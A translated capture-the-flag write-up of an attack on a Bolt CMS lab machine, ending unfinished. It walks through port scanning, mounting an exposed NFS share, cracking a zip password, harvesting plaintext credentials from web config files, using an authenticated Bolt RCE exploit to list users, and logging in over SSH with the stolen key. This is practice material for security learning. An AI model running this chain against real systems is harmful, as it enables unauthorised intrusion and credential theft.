开发尝试

将这些框视为 CTF(而不是实际的渗透测试)。

1.Nmap 侦察

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
sudo nmap -Pn -p- $t
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-09 13:15 EDT
Nmap scan report for 10.0.2.7
Host is up (0.00028s latency).
Not shown: 65526 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
2049/tcp open nfs
8080/tcp open http-proxy
36593/tcp open unknown
36953/tcp open unknown
39333/tcp open unknown
51501/tcp open unknown
MAC Address: 08:00:27:75:18:29 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 6.66 seconds

2. 端口 80 和 8080

80 HTTP


调查结果:

Bolt CMS 的默认页面。

端口 8080


调查结果:

phpinfo() 页面证明 [PHP](/coding/ languages/PHP.md) 正在在此端点执行phpinfo() 本身也放弃了许多有关目标的信息

  • PHP 版本:7.3.27-1
  • 系统:Linux dev 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
  • Apache 版本:2.4.38 (Debian)
  • MySQL:
    • 版本:5.0.12
    • 插件:mysqlnd、debug_trace、auth_plugin_mysql_native_password、auth_plugin_mysql_clear_password、auth_plugin_sha256_password
  • OpenSSL 版本:1.1.1d
  • SQLite3 版本:3.27.2
  • 等等

3.端口2049:NFS

网络文件系统(一种 Linux 服务,用于托管文件系统共享并允许远程/网络内设备通过安装访问它们)。

调查结果:

showmount

目标上使用的 showmount 命令显示安装在 /srv/nfs 处的共享。

mount

使用 mount 命令,我们可以将远程目标共享挂载到我们自己的文件系统,并找到:

1
2
3
4
5
6
┌──(hakcypuppy㉿kali)-[~/dev]
└─$ sudo mount -t nfs4 10.0.2.7:/srv/nfs /tmp/mount

┌──(hakcypuppy㉿kali)-[~/dev]
└─$ ls /tmp/mount
save.zip # <----- from the target mount share

解压缩save.zip

使用 unzipsave.zip 进行比较,我们发现压缩文件受密码保护:

1
2
3
unzip save.zip
Archive: save.zip
[save.zip] id_rsa password:

zip2john

在 zip 文件上使用 zip2john ,我们可以破解密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
zip2john save.zip
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 6 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
Proceeding with incremental:ASCII
java101 (save.zip) # <-----------
1g 0:00:00:03 DONE 3/3 (2023-10-09 14:45) 0.2923g/s 9806Kp/s 9806Kc/s 9806KC/s bbs1700..javona1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

使用密码

现在,如果我们使用john破解的密码(java101),我们可以再次尝试unzip

1
2
3
unzip save.zip
Archive: save.zip
[save.zip] id_rsa password: java101 # <-------------

压缩文件中压缩了两个文件:id_rsatodo.txt

todo.txt

从这个文件开始,让我们 cat 内容:

1
2
3
4
5
6
cat todo.txt                                                                    
- Figure out how to install the main website properly, the config file seems correct...
- Update development website
- Keep coding in Java because it's awesome

jp

从这个文件中我们了解到:
1.主网站没有正确安装(可能是为什么我们在访问http://10.0.2.7:80时看到Bolt默认页面)
2.某处有一个配置文件
3.有开发网站(需要更新)
4. JP 认为 java 很棒

4. Feroxbuster

端口 80

让我们使用 feroxbuster 找到一些端点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
feroxbuster -u http://10.0.2.7:80
200 GET 107l 370w 3833c http://10.0.2.7/
301 GET 9l 28w 302c http://10.0.2.7/app => http://10.0.2.7/app/
MSG 0.000 feroxbuster::heuristics detected directory listing: http://10.0.2.7/app (Apache)
MSG 0.000 feroxbuster::heuristics detected directory listing: http://10.0.2.7/app/config (Apache)
200 GET 19l 82w 633c http://10.0.2.7/app/nut
MSG 0.000 feroxbuster::heuristics detected directory listing: http://10.0.2.7/app/cache (Apache)
301 GET 9l 28w 305c http://10.0.2.7/public => http://10.0.2.7/public/
MSG 0.000 feroxbuster::heuristics detected directory listing: http://10.0.2.7/app/database (Apache)
200 GET 26l 81w 672c http://10.0.2.7/app/config/menu.yml
200 GET 121l 356w 3498c http://10.0.2.7/app/config/routing.yml
200 GET 26l 93w 793c http://10.0.2.7/app/config/taxonomy.yml
200 GET 187l 1302w 8519c http://10.0.2.7/app/config/permissions.yml
200 GET 353l 1439w 12219c http://10.0.2.7/app/config/contenttypes.yml
MSG 0.000 feroxbuster::heuristics detected directory...

有很多发现,但其中一些特别有趣的是:

http://10.0.2.7/app



在此端点,我们找到完整的目录列表。这些路径上有很多美味的食物,但这里有一些特别好的食物:

/app/config/config.yml

此端点具有似乎用于 SQL 数据库的明文凭据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Database setup. The driver can be either 'sqlite', 'mysql' or 'postgres'.
#
# For SQLite, only the databasename is required. However, MySQL and PostgreSQL
# also require 'username', 'password', and optionally 'host' ( and 'port' ) if the database
# server is not on the same host as the web server.
#
# If you're trying out Bolt, just keep it set to SQLite for now.
database:
driver: sqlite
databasename: bolt
username: bolt
password: I_love_java

# The name of the...
其他 /config 部分:
  • /config/permissions.yml:概述如何处理不同用户的权限以及存在哪些类型的用户(包括管理员和来宾帐户)
  • config/routing.yml:概述其他端点的路由方式,包括接受 POST 请求的端点*(潜在的文件上传?)
/app/cache/config-cache.json

更多纯文本凭据以及一些其他信息,揭示有关应用程序/网站结构的更多信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
"general": {
"database": {
"driver": "pdo_sqlite",
"host": "localhost",
"slaves": [],
"dbname": "bolt",
"prefix": "bolt_",
"charset": "utf8",
"collate": "utf8_unicode_ci",
"randomfunction": "RANDOM()",
"databasename": "bolt",
"username": "bolt",
"password": "I_love_java",
"user": "bolt",
"wrapperClass": "Bolt\\Storage\\Database\\Connection",
"path": "/var/www/html/app/database/bolt.db"
},
"sitename": "A sample site",
"locale": "en_G...
/应用程序/数据库

这直接导致 /app/database/bolt.db 处的螺栓数据库,但不幸的是那里没有保存任何数据。

/应用程序/坚果

这是一个 PHP 脚本,它揭示了有关基础设施的更多信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env php
<?php
/*
* This could be loaded on a very old version of PHP so no syntax/methods over 5.2 in this file.
*/

$minVersion = '5.5.9';
if (version_compare(PHP_VERSION, $minVersion, '<')) {
echo sprintf("\033[37;41mBolt requires PHP \033[1m%s\033[22m or higher. You have PHP \033[1m%s\033[22m, so Bolt will not run on your current setup.\033[39;49m%s", $minVersion, PHP_VERSION, PHP_EOL);
exit(1);
}

/** @var \Silex\Application $app */
$app = require __DIR__ . '/bootstrap.php';
$app->boot();

/** @var \Symfony\Component\Console\Application $nut Nut Console Application */
$nut = $app['nut'];
$nut->run();

其他注意事项:

有很多 /vendor 端点/目录,但它们似乎不是很有成效。还有许多 /public 端点,但大多数都不能解析为任何有用的内容。

端口 8080

这个 Ferox 输出要短得多:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
http://10.0.2.7:8080/dev => http://10.0.2.7:8080/dev/
http://10.0.2.7:8080/
MSG 0.000 feroxbuster::heuristics detected directory listing: http://10.0.2.7:8080/dev/config (Apache)
MSG 0.000 feroxbuster::heuristics detected directory listing: http://10.0.2.7:8080/dev/pages (Apache)
http://10.0.2.7:8080/dev/pages => http://10.0.2.7:8080/dev/pages/
http://10.0.2.7:8080/dev/pages/member.admin
http://10.0.2.7:8080/dev/forms => http://10.0.2.7:8080/dev/forms/
MSG 0.000 feroxbuster::heuristics detected directory listing: http://10.0.2.7:8080/dev/forms (Apache)
http://10.0.2.7:8080/dev/forms/form.admin
MSG 0.000 feroxbuster::heuristics detected directory listing: http://10.0.2.7:8080/dev/files (Apache)
http://10.0.2.7:8080/dev/config => http://10.0.2.7:8080/dev/config/
http://10.0.2.7:8080/dev/pages/site.linkrot
http://10.0.2.7:8080/dev/pages/member.thisisatest
http://10.0.2.7:8080/dev/forms/form.2dn22appu5qsjap74t64i689j3
http://10.0.2.7:8080/dev/forms/form.thisisatest
http://10.0.2.7:8080/dev/files => http://10.0.2.7:8080/dev/files/
http://10.0.2.7:8080/dev/stamps => http://10.0.2.7:8080/dev/stamps/
MSG 0.000 feroxbuster::heuristics detected directory listing: http://10.0.2.7:8080/dev/stamps (Apache)

/dev

这将我们带到 Bolt 仪表板:


从这里我们可以仔细阅读一些选项卡,包括 AdminRegisterSetup。我们稍后再讨论这一点。

/dev/config

这将我们带到另一个类似于 :80/app 的目录列表,但这次它没有那么深:

5. 8080 仪表板

回到我们在 http://10.0.2.7:8080/dev 发现的仪表板,让我们看看我们可以从这里做什么。

死胡同:

AdminSetup 选项卡是死胡同。但是,导航到地址栏后,我们可以看到一些 PHP 参数:

1
10.0.2.7:8080/dev/index.php?p=site.setup

这是通过 Register 选项卡/按钮导航到的。

从这个字符串中,我们可以看出index.php这里的脚本有一些参数,这些参数似乎与我们的路由有关。如果我们单击 Admin 选项卡,我们的搜索栏就会填充类似的内容:

1
http://10.0.2.7:8080/dev/index.php?p=site

如果我们转到 Welcome 选项卡,我们会得到:

1
http://10.0.2.7:8080/dev/index.php?p=welcome

从这三个URL,我们可以看出这个脚本中的参数p与我们的路由/地址有关。

注册

如果我们转到 Register 选项卡,我们的 URL 会略有变化,从而显示有关底层 index.php 脚本的更多信息:

1
http://10.0.2.7:8080/dev/index.php?p=action.register



现在我们可以看到 p 参数可以设置为一个操作,例如 register。让我们尝试一下 action.login


只需更改操作,我们就呈现了一个全新的页面。

既然我们可以选择注册,那么让我们看看是否可以通过注册获得更多访问权限。


除了我们“登录”之外,没有什么太大变化。也许我们可以在 URL 中利用其他一些操作?

螺栓文档

这里发生了一些我们可以利用的事情,所以让我们看看 Bolt 文档 来尝试找出是什么。
####博尔特+阿帕奇
我们不需要浏览很长时间就能找到他们的文档 r/t Apache(我们的目标的网络服务器)。立即,我们看到一段 r/t 将请求路由到 index.php ,这听起来很像我们在仪表板中遇到的内容。

它说 Bolt 需要一个 .htaccess 文件才能进行路由。 .htaccess 文件是网络服务器上目录的配置文件。它有助于配置网站访问、URL 重定向、URL 缩短和访问控制等内容。文档说该文件应该如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# Use the front controller as index file. It serves as a fallback solution when
# every other rewrite/redirect fails (e.g. in an aliased environment without
# mod_rewrite). Additionally, this reduces the matching process for the
# start page (path "/") because otherwise Apache will apply the rewriting rules
# to each configured DirectoryIndex file (e.g. index.php, index.html, index.pl).
DirectoryIndex index.php

# By default, Apache does not evaluate symbolic links if you did not enable this
# feature in your server configuration. Uncomment the following line if you
# install assets as symlinks or if you experience problems related to symlinks
# when compiling LESS/Sass/CoffeScript assets.
# Options +FollowSymlinks

# Disabling MultiViews prevents unwanted negotiation, e.g. "/index" should not resolve
# to the front controller "/index.php" but be rewritten to "/index.php/index".
<IfModule mod_negotiation.c>
Options -MultiViews
</IfModule>

<IfModule mod_rewrite.c>
RewriteEngine On

# Determine the RewriteBase automatically and set it as environment variable.
# If you are using Apache aliases to do mass virtual hosting or installed the
# project in a subdirectory, the base path will be prepended to allow proper
# resolution of the index.php file and to redirect to the correct URI. It will
# work in environments without path prefix as well, providing a safe, one-size
# fits all solution. But as you do not need it in this case, you can comment
# the following 2 lines to eliminate the overhead.
RewriteCond %{REQUEST_URI}::$0 ^(/.+)/(.*)::\2$
RewriteRule .* - [E=BASE:%1]

# Sets the HTTP_AUTHORIZATION header removed by Apache
RewriteCond %{HTTP:Authorization} .+
RewriteRule ^ - [E=HTTP_AUTHORIZATION:%0]

# Redirect to URI without front controller to prevent duplicate content
# (with and without `/index.php`). Only do this redirect on the initial
# rewrite by Apache and not on subsequent cycles. Otherwise we would get an
# endless redirect loop (request -> rewrite to front controller ->
# redirect -> request -> ...).
# So in case you get a "too many redirects" error or you always get redirected
# to the start page because your Apache does not expose the REDIRECT_STATUS
# environment variable, you have 2 choices:
# - disable this feature by commenting the following 2 lines or
# - use Apache >= 2.3.9 and replace all L flags by END flags and remove the
# following RewriteCond (best solution)
RewriteCond %{ENV:REDIRECT_STATUS} =""
RewriteRule ^index\.php(?:/(.*)|$) %{ENV:BASE}/$1 [R=301,L]

# If the requested filename exists, simply serve it.
# We only want to let Apache serve files and not directories.
# Rewrite all other queries to the front controller.
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^ %{ENV:BASE}/index.php [L]
</IfModule>

<IfModule !mod_rewrite.c>
<IfModule mod_alias.c>
# When mod_rewrite is not available, we instruct a temporary redirect of
# the start page to the front controller explicitly so that the website
# and the generated links can still be used.
RedirectMatch 307 ^/$ /index.php/
# RedirectTemp cannot be used instead
</IfModule>
</IfModule>

由于该文件处理访问和配置,让我们看看是否可以找到它。

看起来我们无法直接访问它,但这里的错误表明我们找到了正确的路径。

6.绕回端口 80

我们正陷入兔子洞,所以让我们回去看看我们的线索。在 http://10.0.2.7/ 我们有 Bolt 页面。如果我们“仔细观察”,我们可以看到它告诉我们“您可能在错误的文件夹中安装了 Bolt”和“当前文件夹是:/var/www/html”。

文档根目录

它接着说,解决此问题的最简单方法是*“将网络服务器配置为使用/var/www/html/public。因此,我们已经了解到:此页面来自何处,它代表服务器的当前文档根目录*,并且它应该位于名为“public”的目录中更深的一个目录。

如果我们尝试使用浏览器访问 /public ,除了浏览器 URL 更改为 http://10.0.2.7/public/bolt/userfirst 之外,我们什么也找不到。这里暂时没有其他内容,所以让我们回到默认的 Bolt 页面。

在此页面底部,有“排除‘网络根目录’之外的问题”的链接。让我们点击它……它无处可去,所以让我们自己搜索一下。

我们在此处找到了此问题的 Bolt CMS 故障排除页面,并且我们立即获得了有关如何构建该应用程序的信息:

给我们带来东西(但不是超级美味的东西)的路径是:

  • 10.0.2.7/src
  • /扩展
  • /.bolt.yml
  • /.htaccess
    美味的路径:

/.gitignore

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# Don't put config.yml in git, unless you're absolutely sure that all sensitive
# info (database credentials, mail settings) are _only_ in config_local.yml
app/config/config.yml

# Usually we don't put 'uploaded files' into git either.
files/

# Modify this, only if you've changed the default folder in .bolt.yml
public/bolt-public/

# -----------------------------------------------------------------------------

# Config files with '_local' should *never* go into git
app/config/*_local.yml
app/config/extensions/*_local.yml

# SQLite databases should not go into git
app/database/

cache/
thumbs/
vendor/

# NPM, Gulp and Grunt stuff
node_modules
bower_components
npm-debug.log
.sass-cache

# File-system cruft and temporary files
*.gz
*.sublime-*
*.zip
.*.swp
._*
.buildpath
.DS_Store
.idea/
.vscode
.project
.swp
.Trashes
.vagrant*
/bolt.log
/tags
__*
php-cs-fixer.phar
scrutinizer.phar
composer.phar
Thumbs.db
Vagrantfile

从这里我们了解到:

  1. Vagrant涉及到一些@虚拟化的提示
    • 然而 /Vagrantfile 是一个死胡同
      2.我们的composer文件名为composer.phar
    • /composer.phar 是一个死胡同
  2. 有一个数据库叫Thumbs.db
    • 死胡同
  3. 有一个交换文件/图像:.swp
    • 死胡同
      尽管端点目前无法访问,但我们已经了解了*更多有关此站点/应用程序的结构及其使用的技术的信息。

/composer.json

我们找到了 Composer 文件!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
{
"name": "bolt/composer-install",
"description": "Sophisticated, lightweight & simple CMS",
"type": "project",
"license": "MIT",
"require": {
"php": "^5.5.9 || ^7.0",
"bolt/bolt": "^3.7",
"passwordlib/passwordlib": "^1.0@beta",
"bolt/configuration-notices": "^1.0"
},
"minimum-stability": "beta",
"prefer-stable": true,
"scripts": {
"post-install-cmd": [
"Bolt\\Composer\\ScriptHandler::installAssets"
],
"post-update-cmd": [
"Bolt\\Composer\\ScriptHandler::updateProject",
"Bolt\\Composer\\ScriptHandler::installAssets"
],
"post-create-project-cmd": [
"Bolt\\Composer\\ScriptHandler::configureProject",
"Bolt\\Composer\\ScriptHandler::installThemesAndFiles",
"nut extensions:setup"
]
},
"autoload": {
"psr-4": {
"Bundle\\": "src/"
}
}
}

这为我们提供了更多信息,包括 composer 和 Bolt 的版本控制。还有一个 composer.lock 文件,但它要大得多,所以我们暂时下载它以防万一。

7. 迄今为止的发现…

让我们回顾一下我们的发现并决定下一步行动。

优先顺序

从我们扫描的端口开始,现在哪一个似乎最容易受到攻击?

80 和 8080

…可能是最容易受到攻击的*因为我们知道该网站配置不正确。*此外,我们有一个正在执行 PHP (:8080/) 的端点,以及该网站使用的 Web 服务的一些版本控制信息,包括 Apache、Bolt 和 PHP。

2049/ BFS

接下来,我们有 NFS(端口 2049)。尽管我们能够在目标上挂载一个共享,并破解那里的 zip 文件,但该端口不太容易受到攻击因为我们没有迹象表明还有其他共享我们尚未找到。此外,如果我们将包含脚本的目录安装到目标,我们能否确定可以访问或执行?不。

SSH

最后我们有 SSH。我们确实有一些可以在 SSH 上尝试的凭据,但目前仅此而已。

凭证

从zip文件中的注释我们知道可能有一个名为“JP”的用户。我们还有两个密码:“java101”(解压了 save.zip)和“I_love_java”(这适用于 SQLite 数据库中名为“bolt”的用户,我们在 config.yml 文件中找到了该密码)

探索 80 和 8080

由于端口 80 和 8080 似乎最容易受到攻击,因此让我们使用我们列举的服务版本来探索它们的一些漏洞。

搜索漏洞

  • searchsploit apache 2 | grep linux:Linux 上没有太多可利用的漏洞。
  • searchsploit php | grep linux:有很多结果,但没有一个非常美味。

searchsploit Bolt

此搜索返回一些结果。我们正在寻找 Bolt v3.7,其中有一个看起来很有前途:

Exploit DB 上找到此漏洞,我们可以仔细阅读用 python 编写的代码。看来,如果您通过了 BoltCMS 的身份验证,您就可以利用他们的路由系统,通过注入包含 /files/test{}.php?test=<injection> 的 URL 来实现 RCE。

我们有一个注册的用户,所以让我们在通过该用户身份验证时尝试此操作:

BOOM 使用漏洞利用数据库脚本的提示,我们发现我们可以利用 PHP 参数来遍历并查看文件系统。从这里我们可以看到所有用户及其所在的组。

列表底部是 jeanpaul,可能是 note.txt 中的“jp”
##让保罗
现在我们知道了他的用户名,让我们再次尝试 SSH。这次,我们使用在 config.yml 中找到的 SQL 数据库密码。既然我们知道 JP 热爱 Java,那么密码 I_love_java 很可能就是他的!

SSH

1
2
3
4
ssh jeanpaul@10.0.2.7
jeanpaul@10.0.2.7's password: I_love_java
Permission denied, please try again.
...

不幸的是,它不起作用,但我们还可以尝试一件事。我们仍然拥有在 save.zip 中找到的 id_rsa 文件。我们可以使用 i 标志将其设置为此 SSH 连接的私钥:

1
2
3
4
5
6
7
8
9
10
ssh -i id_rsa jeanpaul@10.0.2.7
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0744 for 'id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa": bad permissions
jeanpaul@10.0.2.7's password:
Permission denied, please try again.

这次我们被告知 id_rsa 文件权限错误。 SSH 希望我们将其设置为只读权限 400。让我们使用 chmod 来执行此操作,然后重试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
> chmod 400 id_rsa
> ls -l id_rsa
-r-------- 1 hakcypuppy hakcypuppy 1876 Jun 2 2021 id_rsa
> ssh -i id_rsa jeanpaul@10.0.2.7
Enter passphrase for key 'id_rsa': java101 # <-- password on zip file (fails)
Enter passphrase for key 'id_rsa': I_love_java # <-- password for db (works!)
Linux dev 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Oct 9 17:39:34 2023 from 10.0.2.4
jeanpaul@dev:~$ # <---------------------------- WE'RE IN!

And this is as far as I got…

[!Resources]

[!My previous notes (linked in text)]

  • You’ll find them all here